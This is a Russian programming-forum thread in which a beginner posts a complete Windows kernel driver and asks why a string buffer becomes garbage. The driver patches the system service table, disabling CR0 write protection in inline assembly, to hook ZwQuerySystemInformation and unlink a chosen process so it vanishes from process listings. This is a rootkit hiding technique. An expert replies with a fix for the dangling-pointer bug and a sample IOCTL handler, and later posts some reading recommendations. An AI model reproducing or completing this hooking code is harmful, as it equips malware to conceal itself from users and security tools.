С Новым годом! Форум программистов, компьютерный форум, киберфорум
Программирование драйверов
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.76/25: Рейтинг темы: голосов - 25, средняя оценка - 4.76
0 / 0 / 0
Регистрация: 28.02.2013
Сообщений: 44
1

RtlInitAnsiString - inBuf равняется ?

02.05.2013, 18:11. Показов 4477. Ответов 9
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Пишу программу, которая на уровне пользователя получает список процессов, нужное имя процесса передает драйверу и скрывает данный процесс...Имя процесса передается правильно, но проблема со строкой 39....inBuf - имя требуемого процесса....При первом запуске данной функции все нормально, но потом при отладке обнаружил, что inBuf равняется ???...Подскажите в чем проблема....Заранее спасибо
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
#include <ntddk.h>          // various NT definitions
#include <string.h>
#include "sioctl.h"
PCHAR inBuf;
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
};
 
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
 
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 
 
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
 
NTSTATUS NtStatus;
 
ANSI_STRING Process = {0};
UNICODE_STRING UnicodeProcess = {0};
 
RtlInitAnsiString(&Process, inBuf);
RtlAnsiStringToUnicodeString(&UnicodeProcess, &Process, TRUE);
 
 
NtStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 
 
if(NT_SUCCESS(NtStatus))
{
if(SystemInformationClass == 5) 
{
struct _SYSTEM_PROCESSES *CurrProc = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *PrevProc = NULL;
 
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
while(CurrProc)
{
if (RtlEqualUnicodeString(&UnicodeProcess, &CurrProc->ProcessName, 1))
{
if(PrevProc)
{
if(CurrProc->NextEntryDelta)
{
PrevProc->NextEntryDelta += CurrProc->NextEntryDelta;
}
else
{
PrevProc->NextEntryDelta = 0;
}
}
else
{
if(CurrProc->NextEntryDelta)
{
(char *)SystemInformation += CurrProc->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else
{
CurrProc = NULL;
break;
}
}
if(CurrProc != NULL)
{
PrevProc = CurrProc;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else CurrProc = NULL;
}
}
}
}
return NtStatus;
}
 
#define NT_DEVICE_NAME      L"\\Device\\SIOCTL"
#define DOS_DEVICE_NAME     L"\\DosDevices\\IoctlTest"
 
DRIVER_INITIALIZE DriverEntry;
__drv_dispatchType(IRP_MJ_CREATE)
__drv_dispatchType(IRP_MJ_CLOSE)
DRIVER_DISPATCH SioctlCreateClose;
__drv_dispatchType(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH SioctlDeviceControl;
DRIVER_UNLOAD SioctlUnloadDriver;
 
#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, SioctlCreateClose)
#pragma alloc_text( PAGE, SioctlDeviceControl)
#pragma alloc_text( PAGE, SioctlUnloadDriver)
#endif // ALLOC_PRAGMA
 
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PointerServiceDescriptorTableEntry;
 
 
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
 
#define SYSTEMSERVICE(Function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)Function+1)]
 
void HookFunctions(void)
{
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
 
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;
 
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Hooked!\n");
}
void UnHookFunctions( void )
{
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Unhooked!\n");
}
 
 
NTSTATUS
DriverEntry(
    __in PDRIVER_OBJECT   DriverObject,
    __in PUNICODE_STRING      RegistryPath
    )
{
    NTSTATUS        ntStatus;
    UNICODE_STRING  ntUnicodeString;    // NT Device Name "\Device\SIOCTL"
    UNICODE_STRING  ntWin32NameString;    // Win32 Name "\DosDevices\IoctlTest"
    PDEVICE_OBJECT  deviceObject = NULL;    // ptr to device object
 
    UNREFERENCED_PARAMETER(RegistryPath);
 
    RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );
 
    ntStatus = IoCreateDevice(
        DriverObject,                   // Our Driver Object
        0,                              // We don't use a device extension
        &ntUnicodeString,               // Device name "\Device\SIOCTL"
        FILE_DEVICE_UNKNOWN,            // Device type
        FILE_DEVICE_SECURE_OPEN,     // Device characteristics
        FALSE,                          // Not an exclusive device
        &deviceObject );                // Returned ptr to Device Object
 
    if ( !NT_SUCCESS( ntStatus ) )
    {
       DbgPrint("Couldn't create the device object\n");
        return ntStatus;
    }
 
    //
    // Initialize the driver object with this driver's entry points.
    //
 
    DriverObject->MajorFunction[IRP_MJ_CREATE] = SioctlCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = SioctlCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;
    DriverObject->DriverUnload = SioctlUnloadDriver;
 
 
    RtlInitUnicodeString( &ntWin32NameString, DOS_DEVICE_NAME );
 
    ntStatus = IoCreateSymbolicLink(&ntWin32NameString, &ntUnicodeString );
 
    if ( !NT_SUCCESS( ntStatus ) )
    {
        DbgPrint("Couldn't create symbolic link\n");
        IoDeleteDevice( deviceObject );
    }
 
 
    return ntStatus;
}
 
 
NTSTATUS
SioctlCreateClose(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
    )
{
    UNREFERENCED_PARAMETER(DeviceObject);
 
    PAGED_CODE();
 
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
 
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
 
    return STATUS_SUCCESS;
}
 
VOID
SioctlUnloadDriver(
    __in PDRIVER_OBJECT DriverObject
    )
{
    PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
    UNICODE_STRING uniWin32NameString;
 
    PAGED_CODE();
 
 
 
    RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
 
 
    IoDeleteSymbolicLink( &uniWin32NameString );
 
    if ( deviceObject != NULL )
    {
        IoDeleteDevice( deviceObject );
    }
    UnHookFunctions();
 
 
}
 
NTSTATUS
SioctlDeviceControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
    )
 
 
{
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length
    PCHAR               outBuf; // pointer to Input and output buffer
    PCHAR               data = "This String is from Device Driver !!!";
    size_t              datalen = strlen(data)+1;//Length of data including null
 
    UNREFERENCED_PARAMETER(DeviceObject);
 
    PAGED_CODE();
 
    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
 
    if (!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }
 
    switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
    {
    case IOCTL_SIOCTL_METHOD_BUFFERED:
 
 
        inBuf = Irp->AssociatedIrp.SystemBuffer;
        HookFunctions();
        outBuf = Irp->AssociatedIrp.SystemBuffer;
 
        RtlCopyBytes(outBuf, data, outBufLength);
 
 
 
        Irp->IoStatus.Information = (outBufLength<datalen?outBufLength:datalen);
 
 
       break;
 
    
 
    default:
 
 
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        DbgPrint("ERROR: unrecognized IOCTL %x\n");
        break;
    }
 
End:
 
 
    Irp->IoStatus.Status = ntStatus;
 
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
 
    return ntStatus;
}
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
02.05.2013, 18:11
Ответы с готовыми решениями:

1,8 + 0,1 не равняется 1,9
Уже это обсуждалось, но не знаю, как найти в интернете. Как это учитыватать надо? Пример...

Почему i=i++ равняется i ?
Есть следующий код public class DemoAB { public static void main(String args) { int i = 2;...

Вычислить Z, которая равняется
Помогите определить ошибку и доработать прогу. Вот условие: &quot;Есть два массива X(10), Y(12)....

label на форме равняется CommandButton.name
label на форме равнялся CommandButton.name котрый запускает форму

9
Ушел с форума
Эксперт С++
16478 / 7441 / 1187
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
02.05.2013, 21:17 2
Ошибка в обработчике IRP_MJ_DEVICE_CONTROL:

C
1
inBuf = Irp->AssociatedIrp.SystemBuffer;
Здесь происходит поверхностное копирование. В inBuf копируется только адрес буфера,
но не его содержимое. После завершения процедуры диспетчер ввода-вывода уничтожает
буфер и inBuf указывает в пустоту. Странно, что это в "синий экран" не вылетает.
0
0 / 0 / 0
Регистрация: 28.02.2013
Сообщений: 44
02.05.2013, 21:59  [ТС] 3
Спасибо за помощь...Не подскажите как решить эту проблему?
0
Ушел с форума
Эксперт С++
16478 / 7441 / 1187
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
02.05.2013, 22:11 4
Выделите буфер памяти, например с помощью ExAllocatePoolWithTag, и скопируйте туда
содержимое буфера, который приходит в Dispatch routine. Адрес будет в системном
диапазоне адресов, поэтому обращаться к нему можно будет независимо от контекста.

И еще. Почему ANSI string ? При конвертировании в UNICODE_STRING будет использована
текущая системная локаль. Это чревато проблемами, если имя процесса будет содержать
символы, отличные от латиницы. Лучше везде использовать только Юникод.
0
0 / 0 / 0
Регистрация: 28.02.2013
Сообщений: 44
03.05.2013, 12:55  [ТС] 5
Не могли бы привести пример как это сделать? А то я только начинаю разбираться с драйверами...Как я понял надо сделать так:
C
1
2
3
4
PCHAR buffer;
inBuf = Irp->AssociatedIrp.SystemBuffer;
buffer=ExAllocatePoolWithTag(NonPagedPool,sizeof(inBuf),'ABCD');
buffer=inBuf;
0
Ушел с форума
Эксперт С++
16478 / 7441 / 1187
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
03.05.2013, 13:35 6
C
1
2
buffer=ExAllocatePoolWithTag(NonPagedPool,sizeof(inBuf),'ABCD');
buffer=inBuf;
Вы понимаете, что происходит в этих строках ?
Сначала из неподкачиваемого пула выделяется буфер памяти.
Но во второй строке указателю, который получил адрес этого буфера,
присваивается новое значение. Копирования содержимого буфера здесь не
происходит, а сам выделенный буфер безвозвратно теряется (утечка памяти).

Я бы посоветовал пока отложить разработку драйверов и перечитать некоторые
главы из книг по языку С, особенно те, что касаются работы с памятью и указателями.
0
0 / 0 / 0
Регистрация: 28.02.2013
Сообщений: 44
03.05.2013, 15:55  [ТС] 7
C
1
2
inBuf = ExAllocatePoolWithTag(PagedPool, 1024, 0001);
memcpy(&inBuf, &Irp->AssociatedIrp.SystemBuffer, sizeof(Irp->AssociatedIrp.SystemBuffer));
А если так?
0
Ушел с форума
Эксперт С++
16478 / 7441 / 1187
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
03.05.2013, 17:23 8
Уже лучше
Но помедитируйте над тем, что возвращает sizeof.
SystemBuffer - это указатель. sizeof(указатель) вернет размер указателя, а не размер буфера, на
который он указывает. На x86 это 4 байта, на x64 - 8. Вряд ли это то, что требуется в данном случае.
Если здесь используется bufferred I/O, тогда размер входного буфера нужно брать из поля
Parameters.DeviceIoControl.InputBufferLength в текущей позиции стека (которая определяется с
помощью IoGetCurrentIrpStackLocation).

Добавлено через 1 час 3 минуты
Вам нужно где-то сохранить строку, которая передается драйверу в обработчике IRP_MJ_DEVICE_CONTROL.
Можно завести глобальную переменную, но еще лучше использовать для этого структуру
DEVICE_EXTENSION, пространство для которой резервируется при создании объекта устройства
(см. параметры IoCreateDevice), а формат можно определить самому.
Например:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Определяется формат структуры.
 
typedef struct _DEVICE_EXTENSION
{
    VOID      * pBuffer;
    size_t      BuffSize;
    
    // Другие данные.
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
 
// При создании устройства указывается ее размер.
 
DEVICE_OBJECT *pDeviceObj;
 
IoCreateDevice(pDriverObj,
    sizeof (DEVICE_EXTENSION),
    ...,
    ...,
    &pDeviceObj);
Теперь в любой dispatch routine можно получить доступ к этой структуре:
C
1
DEVICE_EXTENSION *pDeviceExt = pDeviceObj->DeviceExtension;
pDeviceObj - это указатель на DEVICE_OBJECT, который обслуживается драйвером.

Ваш обработчик IRP_MJ_DEVICE_CONTROL должен выглядеть примерно следующим образом:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
NTSTATUS
DispatchDeviceControl(
    __in    DEVICE_OBJECT             * pDeviceObj,
    __in    IRP                       * pIrp
    )
{
    DEVICE_EXTENSION  * pDeviceExt;
    VOID              * pInBuff;
    VOID              * pBuffForString;
    size_t              BuffSize;
    
    // Получаем указатель на текущую позицию стека.
    
    IO_STACK_LOCATION *pIoStackLoc = IoGetCurrentIrpStackLocation(pIrp);
    
    // Проверяем управляющий код.
    
    if (IOCTL_MY_CONTROL_CODE != pIoStackLoc->Parameters.DeviceIoContro.IoControlCode)
    {
        // Ошибка - неизвестный упр. код.
        // Используется вспомогательная функция CompleteRequest:
        //
        // NTSTATUS CompleteRequest(IRP *pIrp, NTSTATUS Status, ULONG_PTR Information)
        // {
        //     pIrp->IoStatus.Status      = Status;
        //     pIrp->IoStatus.Information = Information;
        //     IoCompleteRequest(pIrp, IO_NO_INCREMENT);
        //     return Status;
        // } 
        //
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // Проверяем входной буфер.
    
    pInBuff  = pIrp->AssociatedIrp.SystemBuffer;
    BuffSize = pIoStackLoc->Parameters.DeviceIoControl.InputBufferLength;
    
    if ( (NULL == pInBuff) || (0 == BuffSize) )
    {
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // TODO:
    // Здесь нужно вставить проверку содержимого буфера.
    // Например, проверить, что входная строка завершается нулем.
    
    // Выделяем память для копирования строки.
    
    pBuffForString = ExAllocatePoolWithTag(NonPagedPool, BuffSize, '1234');
    
    // Выделение памяти из неподкачиваемого пула может завершаться отказом.
    
    if (NULL == pBuffForString)
    {
        return (CompleteRequest(pIrp, STATUS_ACCESS_DENIED, 0));
    }
    
    // Копирование строки в буфер.
    
    RtlCopyMemory(pBuffForString, pInBuff, BuffSize);
    
    // Теперь сохраняем указатель в структуре DEVICE_EXTENSION.
    
    pDeviceExt = pDeviceObj->DeviceExtension;
    
    pDeviceExt->pBuffer  = pBuffForString;
    pDeviceExt->BuffSize = BuffSize;
    
    // Завершаем запрос.
    
    return (CompleteRequest(pIrp, STATUS_SUCCESS, BuffSize));
}
Писал по памяти, так что не обращайте внимания на возможные опечатки.

И еще. Я не знаю архитектуру Вашего драйвера, но в реальных условиях обработчик
IRP может вызываться параллельно, в разных потоках. Если архитектура предполагает,
что IRP_MJ_DEVICE_CONTROL будет приходить однократно, то все будет в порядке, только
не забудьте освободить выделенный буфер в обработчике IRP_MJ_CLOSE, иначе получите
утечку такого ценного ресурса, как неподкачиваемый пул. Кстати, а почему в Вашем
примере отсутствует обработчик IRP_MJ_CLEANUP ? Он тоже должен присутствовать.

Если есть вероятность, что данный обработчик будет вызываться параллельно или
более одного раза для одного объекта устройства, то Вы должны позаботиться о том,
чтобы при выделении и установке в DEVICE_EXTENSION нового буфера со строкой старый
удалялся, причем это должно быть потокобезопасно. Иначе будут сюрпризы, например
один поток записал "свой" DEVICE_EXTENSION->pBuffer, а второй в это же время
"свой" DEVICE_EXTENSION->BuffSize. Получится несогласованное состояние, которое
может привести к падению системы.

Добавлено через 2 минуты
Кстати, вместо пула можете использовать RtlCreateUnicodeString.
0
0 / 0 / 0
Регистрация: 28.02.2013
Сообщений: 44
04.05.2013, 12:03  [ТС] 9
Спасибо большое
Убежденный, Все получилось...Понял что у меня очень слабая теоретическая подготовка..Не могли бы посоветовать что почитать? Хочется связать свою будущую жизнь с системным программированием
0
Ушел с форума
Эксперт С++
16478 / 7441 / 1187
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
04.05.2013, 12:33 10
Изучайте в первую очередь архитектуру Windows, лучше выбирать источники с
уклоном в низкоуровневое и системное программирование:

Windows Internals ("Внутреннее устройство Microsoft Windows") от Руссиновича и Соломона.
Издания, за исключением последнего, шестого, переведены на русский.

"Системное программирование в Windows" (А. Побегайло)
"Системное программирование в среде Windows" (Дж. Хардт).
"Программирование на языке Visual C++" (Дж. Рихтер).

По программированию драйверов лучшая книга на русском -
"Использование Microsoft Windows Driver Model" (У. Они).

Еще есть вот что:
"Writing Windows WDM Device Driver" (C. Cant)
"The Windows 2000 Device Driver Book" (A. Baker, J. Lozano)

Еще в сети есть мануал под названием KmdTutRu, обязательно скачайте.

Можете еще В. Солдатова прочесть ("Программирование драйверов Windows").

Первоисточники: MSDN, WHDC, OsrOnline, Intel и другие, там есть куча материала и всевозможных документов.

Вот здесь я выкладывал сборку документации из последнего Windows Driver Kit (который для Windows 8):
https://docs.google.com/file/d... sp=sharing
Формат chm.
4
04.05.2013, 12:33
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
04.05.2013, 12:33
Помогаю со студенческими работами здесь

чему равняется сменная mon?
enum My {A, B=5, C, D, F=1, S} mon; mon=C+S

Косинус 90 градусов равняется бреду
// var_7.cpp: определяет точку входа для консольного приложения. // #include &quot;stdafx.h&quot;...

Чему приближённо равняется высота дерева
Длина тени, которую отбрасывает столб высотой 5 м в определенный момент времени, равна 3 м. Чему...

Чему равняется число 0.6 в троичной системе?
чему равняется число 0.6(10 система) в троичной системе?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
10
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru